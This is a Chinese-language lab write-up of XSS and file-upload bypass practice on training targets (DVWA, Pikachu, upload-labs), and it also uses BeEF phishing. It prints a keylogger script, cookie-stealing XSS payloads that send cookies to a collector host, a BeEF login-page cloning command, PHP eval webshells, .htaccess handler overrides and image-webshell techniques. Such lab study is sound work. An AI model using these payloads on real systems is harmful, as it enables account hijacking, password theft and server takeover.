免责声明 本文仅是个人对XSS和文件上传绕过及相关工具的学习测试过程记录,不具有恶意引导意向。 |
一 使用pikachu平台练习XSS键盘记录
以dvwa-Low靶场为目标网站,通过dvwa的存储型XSS上传JS,验证pikachu工具对dvwa靶场页面键盘操作的记录
1.1调试pikachu环境
①调整 Pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js 说明:该文件实现的功能是接收并记录用户对键盘的每一次操做 |
/** * Created by runner on 2018/7/8. */ function createAjax(){ var request=false; if(window.XMLHttpRequest){ request=new XMLHttpRequest(); if(request.overrideMimeType){ request.overrideMimeType("text/xml"); } }else if(window.ActiveXObject){ var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++){ try{ request=new ActiveXObject(versions[i]); if(request){ return request; } }catch(e){ request=false; } } } return request; } var ajax=null; var xl="datax="; function onkeypress() { var realkey = String.fromCharCode(event.keyCode); xl+=realkey; show(); } document.onkeypress = onkeypress; function show() { ajax = createAjax(); ajax.onreadystatechange = function () { if (ajax.readyState == 4) { if (ajax.status == 200) { var data = ajax.responseText; } else { alert("页面请求失败"); } } } var postdate = xl; ajax.open("POST", "http://10.0.0.14:8086/pkxss/rkeypress/rkserver.php",true); ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", postdate.length); ajax.setRequestHeader("Connection", "close"); ajax.send(postdate); |
②pikachu工具接收处理键盘操作记录的页面: cat /var/www/html/pkxss/rkeypress/rkserver.php |
<?php /** * Created by runner.han * There is nothing new under the sun */ include_once '../inc/config.inc.php'; include_once '../inc/mysql.inc.php'; $link=connect(); //设置允许被跨域访问 header("Access-Control-Allow-Origin:*"); $data = $_POST['datax']; $query = "insert keypress(data) values('$data')"; $result=mysqli_query($link,$query); |
1.2 dvwa-存储型XSS漏洞利用
存储型XSS注入如下payload: <script src="http://10.0.0.104:8086/pkxss/rkeypress/rk.js"></script> |
Message文本框限制了文本输入内容长度 ①通过浏览器调整文本框限制 ②或通过burp抓包拦截发送 |
提交后,任何用户访问此页面都会被记录键盘操作记录 |
1.3 验证
说明:在存储型XSS页面即使不是文本框输入,随机操作键盘也会被记录 |
Pikachu后台验证 |
二 dvwa存储型XSS攻击获取cookie
环境:dvwa-Low等级存储型XSS攻击
2.1 pikachu后台及payload使用
通过查看页面源码,该页面数据是通过调用xcookie/pkxss_cookie_result.php |
pikachu后端环境中,是通过同一目录下的 cookie.php 文件来获取cookie |
<?php include_once '../inc/config.inc.php'; include_once '../inc/mysql.inc.php'; $link=connect(); //这个是获取cookie的api页面 if(isset($_GET['cookie'])){ $time=date('Y-m-d g:i:s'); $ipaddress=getenv ('REMOTE_ADDR'); $cookie=$_GET['cookie']; $referer=$_SERVER['HTTP_REFERER']; $useragent=$_SERVER['HTTP_USER_AGENT']; $query="insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')"; $result=mysqli_query($link, $query); } header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站 |
在dvwa存储型注入页面使用XSS盗取cookie payload |
使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie <script>document.write('<img src="http://10.0.0.104:8086/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script> 说明1:document.write() 是 JavaScript 中的一个方法,用于直接向 HTML 文档中写入内容。它可以在页面的加载过程中动态地生成或修改内容。 说明2:document.write() 可以用来在网页加载时动态地插入 HTML 内容。例如,你可以根据某些条件或用户输入来生成不同的 HTML 片段。 说明3:当 document.write() 被调用时,如果文档还没有完全加载(即 <body>标签还没有被关闭),它会将内容直接插入到当前位置。 如果文档已经完全加载,document.write() 会清空整个文档的内容,然后插入新的内容。这个行为通常是不希望看到的,因为它会破坏已经加载的页面。 |
2.2 pikachu XSS获取 cookie结果
凡是登录dvwa并访问XSS(Stored)页面,都会被收集当前用户的cookie信息。
2.3 cookie验证
拿到cookie后,只有当用户没有退出登录时可以利用cookie实现登录,一旦用户退出登录后,cookie失效;用户每次登录都会获取新的cookie退出登录后失效;
2.3.1 浏览器cookie编辑工具
火狐浏览器添加cookie编辑工具:cookie-e'ditor
2.3.2 使用编辑工具利用cookie
目标cookie:PHPSESSID=9ij020nrb659p1qs46bkrf8i93; security=low |
页面URL:http://10.0.0.104:8080/index.php (这个URL一定是登录后的URL,因为用cookie访问的一定是登录后的URL) Cookie编辑:PHPSESSID=9ij020nrb659p1qs46bkrf8i93 Cookie编辑:security=low 说明:输入完成后,直接回车就可以以当前cookie对应的用户实现对URL的登录 |
三 beef
使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
3.1 环境
Kali linux |
配置IP: sudo vim /etc/network/interfaces auto eth0 iface eth0 inet static address 10.0.0.106 netmask 255.255.255.0 gateway 10.0.0.2 dns-nameservers 114.114.114.114 sudo systemctl restart networking 配置DNS: sudo vim /etc/resolv.conf nameserver 114.114.114.114 |
安装beef: sudo apt install beef-xss 修改beef参数 sudo vim /usr/share/beef-xss/config.yaml 说明 : 修改监听地址 和前台beef登录密码(不修改密码,默认是beef/beef,前台登录时也会提示更改) |
启动: sudo /usr/share/beef-xss/beef |
访问:http://10.0.0.106:3000/ui/panel 自动调整到http://10.0.0.106:3000/ui/authentication Beef/123 |
3.2 使用 beef 克隆DVWA网站
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"<URL of site to clone>", "mount":"<where to mount>"}' -X POST http://<BeEFURL>/api/seng/clone_page?token=<token> // <URL of site to clone> 需要克隆的网址 // <where to mount> 克隆的页面在服务器的哪个路径访问 // <token> 服务启动时的 beef API key |
|
curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"http://10.0.0.104:8080/login.php", "mount":"/clone_site_dvwa"}' -X POST http://10.0.0.106:3000/api/seng/clone_page?token=1fd47ab33baa623ec9104aff7bd64291790e4cc8 说明:下图所示克隆成功 |
|
访问克隆后生成的URL:http://10.0.0.106:3000/clone_site_dvwa |
可以看到beef中有机器上线,10.0.0.1在页面中进行登录 |
在克隆的页面输入用户密码提交,查看beef日志 |
|
四 文件上传绕过
环境:cuer/upload-labs
4.1 客户端JS绕过
客户端绕过练习。
访问 http://your_ip:8087 , 选择 Pass-01,Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证,而前端验证,几乎没有什么防护作
用。
4.1.1 浏览器禁用JS
浏览器直接禁用JS,先按F12,然后按F1,找到禁用JS
上传payload.php文件
<?php eval(@$_GET['a']);?> <?php eval(@$_POST['a']);?> //可以搭配蚁剑使用 |
<?php eval(@$_GET['a']);?> 这段代码中的@符号是PHP中的错误控制运算符。它用于在表达式前面,当表达式执行过程中遇到任何错误时,它会阻止错误信息的显示。这意味着,如果$_GET['a']不存在或包含无法执行的代码,用户不会看到任何错误信息,这可能会使调试变得更加困难,同时也可能掩盖了潜在的安全问题。 <?php eval($_GET['a']);?> 这段代码没有使用@符号。因此,如果$_GET['a']不存在或包含语法错误的代码,PHP将会显示一个错误信息,这可能会暴露一些不应该被用户看到的内部细节,包括文件路径、服务器配置等。然而,从安全角度来看,这实际上可能是一件好事,因为它提醒开发者或维护者存在潜在的问题。 |
上传info.png,上传成功 |
|
4.1.2 修改后缀名饶过-burp
先把一句话木马改为 .jpg|.png 其中一个后缀,上传,抓包
<?php phpinfo();?> 把这个php代码写入一个info.txt文本,并把扩展名改为png,上传,抓包,在burp中把文件名后缀给为php,放行,实现绕过前端JS验证 |
4.1.3 修改前端JS代码
修改前端代码,删除浏览器中加载的源码中的JS验证代码:onsubmit="return checkFile()" |
4.2 服务端黑名单绕过
4.2.1 后缀-特殊可解析后缀
Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名黑名单,识别上传文件的类型是否为 '.asp','.aspx','.php','.jsp' 中的一个,若是其中的一个,则不允许上传。 但是可以上传其他任意后缀,比如说: .phtml .phps .php5 .pht ,但如果上传的是.php5这种类型文件,想要被当成php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码(靶场环境未配置好,仅做上传测试)。 AddType application/x-httpd-php .php .phtml .phps .php5 .pht |
修改后文件名为info.php5,上传 |
4.2.2 后缀-大小写绕过(√)
Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了黑名单对常见的后缀进行过滤,但并未对 后缀名大小写进行统一。可以利用大小写进行绕过。例如:.PHp |
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); |
4.2.3 后缀-点绕过-burp(√)
Upload-labs(Pass-08)分析代码没有去除点,直接在文件后面加上点 |
|
Windows10中无法在后缀名后边加“.”,会自动抹去,使用burp修改 |
|
Windows系统中会自动去除文件名最后的 . ,因此在Windows系统中可以使用此方法绕过; Linux系统虽然不会自动去除文件名最后的 . ,但是部分Linux系统搭配中间件可以实现解析。 |
|
4.2.4 空格绕过-burp
Upload-labs(Pass-07)通过代码分析没有去空格,在文件后缀加空格后上传 |
|
4.2.5 ::$DATA绕过-burp
在Windows中,如果文件名 + ::$DATA 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名(Windows会自动去掉末尾的::$DATA变成 phpinfo.php,Upload-labs(Pass-09)抓包修改文件后缀) |
|
phpinfo.php::$DATA |
|
数据流特性: Windows NTFS 文件系统允许每个文件拥有多个数据流。默认的数据流是文件的主要内容,其名称为 ::$DATA。 当在文件名后添加 ::$DATA 时,Windows 会将其视为对数据流的引用,而不是文件名的扩展名。 文件处理: 当应用程序或操作系统处理包含 ::$DATA 的文件名时,它们通常会忽略 ::$DATA 之后的内容,并将其视为对数据流的请求。 这意味着,如果文件名是 example.txt::$DATA,应用程序可能会尝试打开名为 example.txt 的文件,并请求其 ::$DATA 数据流(即文件的主要内容)。 |
|
可以看到,上传成功。但是Linux服务器未去掉后缀,所以解析不了 |
|
4.2.6 配合解析绕过-没有循环验证-burp
Upload-labs(Pass-10) 涉及后端验证方法:①黑名单②删除末尾的点③转换为小写④去除字符串::$DATA⑤首尾去空 |
|
这一关的思路是它没有循环验证,也就是说首尾去空,删除末尾的点,去除字符串:$SDATA,转换为小写这些措施只验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为: |
|
.php. .(两个点之间有个空格) .php. ::$DATA 说明:以 .php. . 为例的验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点,也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功。 |
|
虽然上传成功,但显然后缀后边有个空格 |
ls TAB键补全有个反斜杠\转义的空字符 |
“空”的URL编码是%20 |
|
4.2.7 .htaccess文件绕过(√)
服务端黑名单绕过:.htaccess文件绕过的具体步骤。
.htaccess 文件是 Apache HTTP 服务器上的一个配置文件,用于在服务器级别上设置和修改某些行为。这个文件通常位于网站根目录或其他特定目录中,并且可以对目录及其子目录中的文件提供访问控制、重写规则、错误文档指定、MIME 类型定义等多种功能。 |
||
Upload-labs(Pass-04)源码分析,相较于Pass-03增加了黑名单量。但是,中间件为Apache的情况下,黑名单未校验 .htaccess 文件,导致可上传该文件,绕过黑名单检测。 |
||
前提条件(靶场已满足) 1.mod_rewrite模块开启 2.AllowOverride All |
||
由于黑名单中没有过滤 .htaccess 文件,可以重写文件解析规则绕过,上传一个 .htaccess ,文件内容如下: |
||
.htaccess |
.htaccess(练习,只匹配magedu.jpg文件) |
magedu.jpg |
<IfModule mime_module> SetHandler application/x-httpd-php </IfModule> |
<FilesMatch "magedu.jpg"> Sethandler application/x-httpd-php </FilesMatch> |
<?php @eval($_POST["magedu"]);?> |
意思是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错。 |
注意:.htaccess文件不能起名字,就是.htaccess文件,如果将其改为4.htaccess或者其他的什么名字是不可以的,无法解析。 在实战中有可能上传该文件后被系统自动重命名,一旦被重命名那么文件则失效。 |
先上传 .htaccess 文件,覆盖父目录对上传目录的影响,再上传 magedu.jpg 文件,完成 .htaccess 文件内容对当前目录文件解析漏洞的利用。 |
|
Hackar工具验证 |
蚁剑工具验证 |
4.2.8 双写后缀名绕过(√)
Upload-labs(Pass-11) 说明:代码实现对上传文件名中包含黑名单中的字符都替换为空,在以处理后的文件名存储到对应路径中 |
上传文件phpinfo.pphphp,处理后变成 info.php |
4.3 服务端白名单绕过
4.3.1 MIME类型检测绕过(√)-burp
Upload-labs(Pass-02)第二关通过服务端对数据包的MIME类型进行检查;通过burp修改Content-Type类型 |
|
文件类型为image/jpeg 、image/png 、image/gif的允许上传 |
|
4.3.2 00截断绕过(√)-burp
服务端白名单绕过:%00截断绕过,虚拟机中搭建实验环境,实现绕过
00截断通常用来绕过Web的白名单限制。Upload-labs(Pass-12) |
||
00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0作为字符串的结尾,所以\0也被称为”字符串结束标志“或者”字符串结束符“ |
||
需要注意的是:\0是用户的输入经过层层解析后到达系统底层的表现形式,因此用户在前端输入的时候是不能直接使用\0的,通常会使用%00或者0x00。 |
||
%00举例:http://www.XXX.com/upload/aaa.php%00bbb.jpg 说明:服务器在接收的时候,直接对URL编码(即%00)进行解码,然后再去接收文件,这时候后面的bbb.jpg被截断掉,文件名就变成了aaa.php,所以最后服务器接收到的文件名是aaa.php。 |
||
注意: %00的使用是在路径上!如果在文件名上使用,就无法正常截断了,这个路径可能在URL中,也可能在post数据包中,在这些地方使用%00进行截断处理,服务器在对文件名进行检测之后,就会把路径跟文件名拼接在一起,这时候%00就开始发挥作用了。 |
||
截断条件: 1、php版本小于5.3.4 2、php.ini的magic_quotes_gpc为OFF状态 说明1:容器中的upload-labs第12关无法练习截断绕过,PHP版本比要求的要高,需要自行搭建靶场(phpstudy工具和从github下载upload-labs) 说明2:自建的upload-labs靶场需要手动创建upload目录 |
||
准备payload.png文件:<?php eval($_POST['a']);?> |
||
Burp中在路径../upload/后添加1.php%00上传失败,需要对%00编码(选中%00执行url-decode编码),上传成功 |
||
验证
|
||
蚁剑工具主要针对的payload是POST方法,才能连接成功 |
||
4.4 服务端内容检查绕过
4.4.1 文件头检查(√)
文件头检查:分别利用3种制作图片马的方式实现上传绕过。
图片马(图片可正常打开):在图片中携带webshell代码(之所以图片马危害代码可以生效被执行,是应为存在文件包含漏洞)
Upload-labs(Pass-14) 注意:下面的文件头的格式是16进制的格式 |
|
.jpg .gif .png |
FF D8 FF E0 00 10 4A 46 49 46 47 49 46 38 39 61 89 50 4E 47 |
Windows下可使用 010 edito工具 |
|
随便打开两张PNG的图片看下,在文件的头部都会有其专有的字符。
|
|
说明:图片马生成方式 1、windows操作系统进行文件拼接: copy /b cat.png + payload.php cat2.png 2、直接使用16进制编辑工具在图片尾部添加一句话木马 3、直接burp抓包,在数据包中添加一句话木马 4、直接使用16进制编辑工具在php文件的头部添加图片头 |
4.4.1.1 方法一
方法一:生成图片马: 说明1:payload.php:<?php eval($_GET['a']);?> 说明2:010 edito工具检查copy.PNG文件末尾增加了一句话木马代码 |
上传后图片路径:http://10.0.0.104:8087/upload/9220241024052438.png |
Upload-labs-14关提供了图片马利用的接口include.php接收要处理的图片马文件 |
访问:http://10.0.0.104:8087/include.php?file=upload/9220241024052438.png |
4.4.1.2 方法二
方法二:直接使用16进制编辑工具在图片尾部添加一句话木马(效果和方法一类似) |
|
访问http://10.0.0.104:8087/include.php?file=upload/2420241024075257.png 说明1:通过靶场的include.php接口成功利用文件包含漏洞解析了payload 说明2:图片马的文件尾JS被解析了(hackbar或蚁剑验证) |
|
Hackbar插件验证 |
|
4.4.1.3 方法三
方法三:直接使用16进制编辑工具在php文件的头部添加图片头 |
上传payload.php 说明1:上传后文件后缀是png,应为程序是基于文件内容头判断文件类型,并在保存文件时按文件类型后缀保存文件 |
访问:http://10.0.0.104:8087/include.php?file=upload/7020241024055622.png 说明:通过靶场的include.php接口成功利用文件包含漏洞解析了payload |
4.4.2 二次渲染绕过(√)
二次渲染:根据用户上传的图片,新生成一个图片,原始图片被删除,而新图片添加到数据库中。 举例:网站根据用户上传的头像图片生成大中小不同尺寸的图像。 |
Upload-labs(Pass-17)这一关比较综合,判断了后缀名、文件类型,以及利用 imagecreatefromXXX判断是否为真实图片,最后再做了二次渲染。可以看到,这里先是判断后缀名和文件类型,然后再用imagecreatefrom[jpeg|png|gif] 函数判断是否是图片格式,如果是图片的话再用image[jpeg|png|gif] 函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察上传前和上传后图片的二进制流是否发生变化。 |
尽量使用gif图片生成图片马,通过upload-labs第17关上传生成的渲染图片和原图片对比(010 editor工具),gif图片渲染后,文件前部分未发生改变的部分字节长度更长,更适合在前部分插入代码避免被渲染裁剪。渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可 |
4.4.2.1 确认图片上传二次渲染
010 editor工具编辑图片在文件最后添加一句话木马上传图片,010 editor工具打开上传后的图片,文件末尾的一句话木马已去除。 |
4.4.2.2 准备上传图片
gif图片使用010 editor工具编辑插入一句话木马(一次不一定成功,需要多次尝试) |
4.4.2.3 检查上传后的文件
下载上传后的图片,010 editor工具检查一句话木马是否还在;如下图,说明图片码上传成功 |
4.4.2.4 验证
使用upload-labs靶场17关自带的利用“文件包含漏洞”的接口验证 |
http://10.0.0.104:8087/include.php?file=upload/1828073806.gif |
查看结果显示一句话木马已被正常解析生效 |